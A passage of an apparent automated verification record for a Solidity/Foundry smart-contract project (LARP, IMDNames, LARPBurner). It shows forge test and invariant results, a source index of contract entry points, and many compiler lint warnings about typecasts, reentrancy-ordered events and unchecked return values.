|\n╰---------------+-------------------+-------+---------+----------╯\n\nLogs:\n  Bound result 66939653075440871\n  Bound result 11769\n  Bound result 1000000000000000000000\n  Bound result 1\n  Bound result 466299150633853458\n  Bound result 20000000000000000\n  Bound result 1\n  Bound result 1\n  Bound result 100000000000000000\n  Bound result 246822530687344736\n  Bound result 25\n  Bound result 2\n  Bound result 2561149029875547529\n  Bound result 3032\n  Bound result 10300\n  Bound result 2\n  Bound result 3291\n  Bound result 4294967295\n  Bound result 6493\n  Bound result 243872796\n  Bound result 3001621\n  Bound result 99999999999999667\n  Bound result 3003521\n  Bound result 350000000000000000\n  Bound result 690\n  Bound result 1434\n  Bound result 46781462319768165\n  Bound result 32768\n  Bound result 369\n  Bound result 3449999999999999\n  Bound result 3\n  Bound result 236272076138142785\n  Bound result 2815531\n  Bound result 310891869205798440\n  Bound result 2\n  Bound result 202962892904050193\n  Bound result 2524178\n  Bound result 12968\n  Bound result 2990000000000016550\n  Bound result 1000\n  Bound result 6214\n  Bound result 5999000000000000001989\n  Bound result 5999000000000000007312\n  Bound result 150000000000000000\n  Bound result 785732718729991261127\n  Bound result 6760000000000000\n  Bound result 99999999999999999987\n  Bound result 1\n  Bound result 5520000000000000\n  Bound result 5999000000000000150001\n  Bound result 16777216\n  Bound result 3032768\n  Bound result 400000000000000000\n  Bound result 3450000000000000\n  Bound result 24576\n  Bound result 222222\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.34s (1.33s CPU time)\n\nRan 1 test for test/LARP.invariant.t.sol:LARPInvariantTest\n[PASS]\nLARPInvariantTest invariants:\n[PASS] invariant_LiveMeansThePlacerHoldsIt\n[PASS] invariant_NoMoreLiveCopiesThanHeld\n[PASS] invariant_OneTokenOneSpot\n LARPInvariantTest invariants (runs: 128, calls: 8192, reverts: 0)\n\n╭-------------+--------------+-------+---------+----------╮\n| Contract    | Selector     | Calls | Reverts | Discards |\n+=========================================================+\n| LarpHandler | equip1155    | 1103  | 0       | 0        |\n|-------------+--------------+-------+---------+----------|\n| LarpHandler | equip721     | 1201  | 0       | 0        |\n|-------------+--------------+-------+---------+----------|\n| LarpHandler | giveCopy     | 1178  | 0       | 0        |\n|-------------+--------------+-------+---------+----------|\n| LarpHandler | giveIdentity | 1188  | 0       | 0        |\n|-------------+--------------+-------+---------+----------|\n| LarpHandler | giveMask     | 1189  | 0       | 0        |\n|-------------+--------------+-------+---------+----------|\n| LarpHandler | setFace      | 1159  | 0       | 0        |\n|-------------+--------------+-------+---------+----------|\n| LarpHandler | takeOff      | 1174  | 0       | 0        |\n╰-------------+--------------+-------+---------+----------╯\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 55.12s (55.11s CPU time)\n\nRan 17 test suites in 55.13s (58.46s CPU time): 251 tests passed, 0 failed, 11 skipped (262 total tests)\n","passed":true},{"durationMs":201,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"IMDNames.approve(address,uint256)\",\"IMDNames.execute(bytes32)\",\"IMDNames.link(uint256,uint256,uint256)\",\"IMDNames.linkWithImd(uint256,uint256,uint256)\",\"IMDNames.lockRenderer()\",\"IMDNames.onNoVerdict(bytes32,uint8,bytes32,uint16,uint16,bytes)\",\"IMDNames.onVerdict(bytes32,(bytes32,uint256,bytes32,uint8,bytes,uint256,uint64,uint64,bytes32,bytes32,uint16,uint16,uint16,uint64,uint64),bytes)\",\"IMDNames.propose((uint64,uint64,uint64,uint64),uint256)\",\"IMDNames.register(bytes32,address,uint256)\",\"IMDNames.registerWithImd(bytes32,address,uint256)\",\"IMDNames.safeTransferFrom(address,address,uint256)\",\"IMDNames.safeTransferFrom(address,address,uint256,bytes)\",\"IMDNames.setApprovalForAll(address,bool)\",\"IMDNames.setArtist(address)\",\"IMDNames.setPrimary(uint256)\",\"IMDNames.setRenderer(address)\",\"IMDNames.setText(uint256,string,string)\",\"IMDNames.transferFrom(address,address,uint256)\",\"IMDNames.unlink(uint256)\",\"LARP.clearFace(uint256)\",\"LARP.equip(uint256,uint256,address,uint256,uint8)\",\"LARP.resignAgent(uint256)\",\"LARP.setAgent(uint256,address)\",\"LARP.setAgentBySig(uint256,address,uint256,bytes)\",\"LARP.setFace(uint256,address,uint256)\",\"LARP.unequip(uint256,uint256)\",\"LARPBurner.burn(uint256)\",\"LARPBurner.burnImd()\",\"LARPBurner.receive()\",\"LARPBurner.unlockCallback(bytes)\",\"LARPLinks.disband(uint256)\",\"LARPLinks.foundCrew(uint256,bytes32,bool,uint256)\",\"LARPLinks.foundCrewWithImd(uint256,bytes32,bool,uint256)\",\"LARPLinks.fren(uint256,uint256)\",\"LARPLinks.invite(uint256,uint256,bool)\",\"LARPLinks.join(uint256,uint256)\",\"LARPLinks.kick(uint256,uint256)\",\"LARPLinks.leave(uint256)\",\"LARPLinks.passCaptain(uint256,uint256)\",\"LARPLinks.proveAlloc(uint64,uint256,address,uint256,bytes32[])\",\"LARPLinks.setOpen(uint256,bool)\",\"LARPLinks.unfren(uint256,uint256)\"],\"files\":{\".gitignore\":4,\"ADAPTATION.md\":137,\"AUDIT.md\":218,\"README.md\":182,\"foundry.toml\":30,\"src/IIMDNames.sol\":112,\"src/ILARP.sol\":120,\"src/IMDNames.sol\":358,\"src/LARP.sol\":330,\"src/LARPBurner.sol\":329,\"src/LARPLinks.sol\":457,\"src/Labels.sol\":53,\"src/SafeReads.sol\":63,\"src/SwarmPrices.sol\":333,\"test/Base.sol\":292,\"test/IMDNames.t.sol\":481,\"test/IMDNamesEdges.t.sol\":457,\"test/LARP.invariant.t.sol\":184,\"test/LARP.t.sol\":324,\"test/LARPAgents.t.sol\":269,\"test/LARPBurner.invariant.t.sol\":457,\"test/LARPBurner.t.sol\":513,\"test/LARPBurnerEdges.t.sol\":393,\"test/LARPEdges.t.sol\":340,\"test/LARPItems.t.sol\":236,\"test/LARPLinks.t.sol\":515,\"test/LARPLinksEdges.t.sol\":459,\"test/Launch.t.sol\":134,\"test/MainnetFork.t.sol\":344,\"test/Mocks.sol\":89,\"test/SwarmPrices.invariant.t.sol\":357,\"test/SwarmPrices.t.sol\":340,\"test/SwarmPricesEdges.t.sol\":344,\"test/fixtures/allocs.json\":118},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"4883ff4bc93016efe7a235e6c0e13be267ce621796ba8c180a02759d7eed0af2","verifiedTreeHash":"c7b3722a9ce044b156f960d2c9dd148a0f15305f","verifierVersion":"0.1.0+fb8278c5"},{"checks":[{"durationMs":53864,"exitCode":0,"name":"build","output":"Compiling 92 files with Solc 0.8.26\nSolc 0.8.26 finished in 53.71s\nCompiler run successful!\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/LARP.sol:111:33\n    │\n111 │         if (at == 0) return (0, false);\n    │                                 ━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/IMDNames.sol:220:33\n    │\n220 │         if (at == 0) return (0, false);\n    │                                 ━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[uninitialized-local]: local variable is read before being initialized\n   ╭▸ src/Labels.sol:23:16\n   │\n23 │         while (n < 32 && label[n] != 0) ++n;\n   │                ━\n   │\n   ╰ help: https://getfoundry.sh/forge/linting/uninitialized-local\n\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/IMDNames.sol:228:42\n    │\n228 │         if (owner == address(0)) return (false, address(0), 0, false);\n    │                                          ━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/IMDNames.sol:228:64\n    │\n228 │         if (owner == address(0)) return (false, address(0), 0, false);\n    │                                                                ━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/LARP.sol:120:64\n    │\n120 │         if (holder == address(0) || who == address(0)) return (false, holder);\n    │                                                                ━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/LARP.sol:121:36\n    │\n121 │         if (who == holder) return (true, holder);\n    │                                    ━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/IMDNames.sol:240:33\n    │\n240 │         if (label == 0) return (false, address(0), 0, false);\n    │                                 ━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/IMDNames.sol:240:55\n    │\n240 │         if (label == 0) return (false, address(0), 0, false);\n    │                                                       ━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/IMDNames.sol:247:37\n    │\n247 │         if (at == 0) return (0, \"\", false);\n    │                                     ━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/LARPBurner.sol:245:21\n    │\n245 │             return (true, r);\n    │                     ━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/LARPBurner.sol:248:21\n    │\n248 │             return (false, \"\");\n    │                     ━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/LARP.sol:265:36\n    │\n265 │         if (at == 0) return (0, 0, false);\n    │                                    ━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[unsafe-typecast]: typecast can truncate values\n   ╭▸ src/SwarmPrices.sol:81:38\n   │\n81 │     bytes32 public constant ACTION = bytes32(\"oracle.request@oracle-1\");\n   │                                      ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n   │\n   ├ note: consider disabling this lint if you're certain the cast is safe\n   │       \n   │       // casting to 'bytes32' is safe because [explain why]\n   │       // forge-lint: disable-next-line(unsafe-typecast)\n   │       \n   │       \n   ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n    ╭▸ src/SwarmPrices.sol:129:17\n    │\n129 │     constructor(address intake, address oracleSigner, Prices memory start) {\n    │                 ━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n    ╭▸ src/SwarmPrices.sol:129:33\n    │\n129 │     constructor(address intake, address oracleSigner, Prices memory start) {\n    │                                 ━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n   ╭▸ src/LARPBurner.sol:97:9\n   │\n97 │         address pool4Hook,\n   │         ━━━━━━━━━━━━━━━━━\n   │\n   ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n    ╭▸ src/LARPBurner.sol:103:9\n    │\n103 │         address pairHook\n    │         ━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARPBurner.sol:125:16\n    │\n125 │         return int24(s);\n    │                ━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int24' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[block-timestamp]: usage of `block.timestamp` in a comparison may be manipulated by validators\n   ╭▸ src/LARP.sol:78:13\n   │\n78 │         if (block.timestamp > deadline) revert Expired();\n   │             ━━━━━━━━━━━━━━━━━━━━━━━━━━\n   │\n   ╰ help: https://getfoundry.sh/forge/linting/block-timestamp\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/LARP.sol:138:9\n    │\n138 │         emit AgentSet(imdId, holder, agent);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n   ╭▸ src/IMDNames.sol:67:63\n   │\n67 │     constructor(address identity, ILARP larp, address burner, address artist_, address intake, address oracleSigner)\n   │                                                               ━━━━━━━━━━━━━━━\n   │\n   ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/IMDNames.sol:109:9\n    │\n109 │         LARPBurner(payable(BURNER)).burn{value: price}(minImd);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/SwarmPrices.sol:167:9\n    │\n167 │         emit Proposed(requestId, number, msg.sender, next);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/IMDNames.sol:123:24\n    │\n123 │         if (toll != 0) LARPBurner(payable(BURNER)).burn{value: toll}(minImd);\n    │                        ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[calls-loop]: external call inside a loop\n    ╭▸ src/LARPBurner.sol:244:13\n    │\n244 │         try POOL_MANAGER.unlock(abi.encode(route, amount)) returns (bytes memory r) {\n    │             ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/calls-loop\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/LARPBurner.sol:159:21\n    │\n159 │                     emit Bought(eth, imd, route);\n    │                     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/LARPBurner.sol:163:27\n    │\n163 │             if (imd == 0) emit Parked(eth);\n    │                           ━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/LARPBurner.sol:233:9\n    │\n233 │         emit Burned(rest, share, burned6900);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/LARPBurner.sol:247:45\n    │\n247 │             if (gasleft() <= gasBefore / 4) revert TooLittleGas();\n    │                                             ━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[unsafe-typecast]: typecast can truncate values\n   ╭▸ src/SafeReads.sol:21:46\n   │\n21 │         return ok && w >> 160 == 0 ? address(uint160(w)) : address(0);\n   │                                              ━━━━━━━━━━\n   │\n   ├ note: consider disabling this lint if you're certain the cast is safe\n   │       \n   │       // casting to 'uint160' is safe because [explain why]\n   │       // forge-lint: disable-next-line(unsafe-typecast)\n   │       \n   │       \n   ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[return-bomb]: external call with a gas limit may copy unbounded return data\n   ╭▸ src/SafeReads.sol:47:40\n   │\n47 │         (bool ok, bytes memory data) = target.staticcall{gas: gasCap}(call);\n   │                                        ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n   │\n   ╰ help: https://getfoundry.sh/forge/linting/return-bomb\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/LARPLinks.sol:208:9\n    │\n208 │         LARPBurner(payable(BURNER)).burn{value: msg.value}(minImd);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMDNames.sol:137:9\n    │\n137 │         emit NameRegistered(tokenId, label, to, price);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMDNames.sol:153:13\n    │\n153 │             emit NameUnlinked(old, imdId);\n    │             ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARP.sol:159:45\n    │\n159 │         return ok && answer.length >= 32 && bytes4(abi.decode(answer, (bytes32))) == 0x1626ba7e;\n    │                                             ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'bytes4' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMDNames.sol:158:13\n    │\n158 │             emit NameUnlinked(tokenId, was - 1);\n    │             ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMDNames.sol:162:9\n    │\n162 │         emit NameLinked(tokenId, imdId, holder, toll);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARPBurner.sol:195:43\n    │\n195 │                 pair, SwapParams(imdIs0, -int256(amount), imdIs0 ? MIN_PRICE_LIMIT : MAX_PRICE_LIMIT), \"\"\n    │                                           ━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARPBurner.sol:198:27\n    │\n198 │                 imdIs0 ? (int128(delta >> 128), int128(delta)) : (int128(delta), int128(delta >> 128));\n    │                           ━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARPBurner.sol:198:49\n    │\n198 │                 imdIs0 ? (int128(delta >> 128), int128(delta)) : (int128(delta), int128(delta >> 128));\n    │                                                 ━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARPBurner.sol:198:67\n    │\n198 │                 imdIs0 ? (int128(delta >> 128), int128(delta)) : (int128(delta), int128(delta >> 128));\n    │                                                                   ━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARPBurner.sol:198:82\n    │\n198 │                 imdIs0 ? (int128(delta >> 128), int128(delta)) : (int128(delta), int128(delta >> 128));\n    │                                                                                  ━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMDNames.sol:185:9\n    │\n185 │         emit NameUnlinked(tokenId, imdId);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/IMDNames.sol:181:22\n    │\n181 │         (bool ok,) = LARP.canAct(imdId, msg.sender);\n    │                      ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARPBurner.sol:199:30\n    │\n199 │             if (imdDelta != -int128(int256(amount)) || outDelta <= 0) revert Unfilled();\n    │                              ━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARPBurner.sol:199:37\n    │\n199 │             if (imdDelta != -int128(int256(amount)) || outDelta <= 0) revert Unfilled();\n    │                                     ━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/LARPBurner.sol:202:13\n    │\n202 │             POOL_MANAGER.settle();\n    │             ━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARPBurner.sol:203:27\n    │\n203 │             uint256 out = uint128(outDelta);\n    │                           ━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARPBurner.sol:211:61\n    │\n211 │         int256 d = POOL_MANAGER.swap(key, SwapParams(true, -int256(amount), MIN_PRICE_LIMIT), \"\");\n    │                                                             ━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARPBurner.sol:212:27\n    │\n212 │         int128 ethDelta = int128(d >> 128);\n    │                           ━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARPBurner.sol:213:25\n    │\n213 │         int128 bought = int128(d);\n    │                         ━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARPBurner.sol:214:26\n    │\n214 │         if (ethDelta != -int128(int256(amount)) || bought <= 0) revert Unfilled();\n    │                          ━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARPBurner.sol:214:33\n    │\n214 │         if (ethDelta != -int128(int256(amount)) || bought <= 0) revert Unfilled();\n    │                                 ━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/LARPBurner.sol:215:9\n    │\n215 │         POOL_MANAGER.settle{value: amount}();\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARPBurner.sol:216:47\n    │\n216 │         POOL_MANAGER.take(IMD, address(this), uint128(bought));\n    │                                               ━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARPBurner.sol:217:27\n    │\n217 │         return abi.encode(uint256(uint128(bought)));\n    │                           ━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARPBurner.sol:217:35\n    │\n217 │         return abi.encode(uint256(uint128(bought)));\n    │                                   ━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[uninitialized-local]: local variable is read before being initialized\n    ╭▸ src/LARPBurner.sol:233:34\n    │\n233 │         emit Burned(rest, share, burned6900);\n    │                                  ━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/uninitialized-local\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/LARPLinks.sol:327:22\n    │\n327 │         (bool ok,) = LARP.canAct(c.captain, msg.sender);\n    │                      ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[uninitialized-local]: local variable is read before being initialized\n    ╭▸ src/LARP.sol:310:15\n    │\n310 │             ++digits;\n    │               ━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/uninitialized-local\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARP.sol:314:36\n    │\n314 │             out[--digits] = bytes1(uint8(48 + value % 10));\n    │                                    ━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint8' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARPLinks.sol:342:39\n    │\n342 │         address distributor = 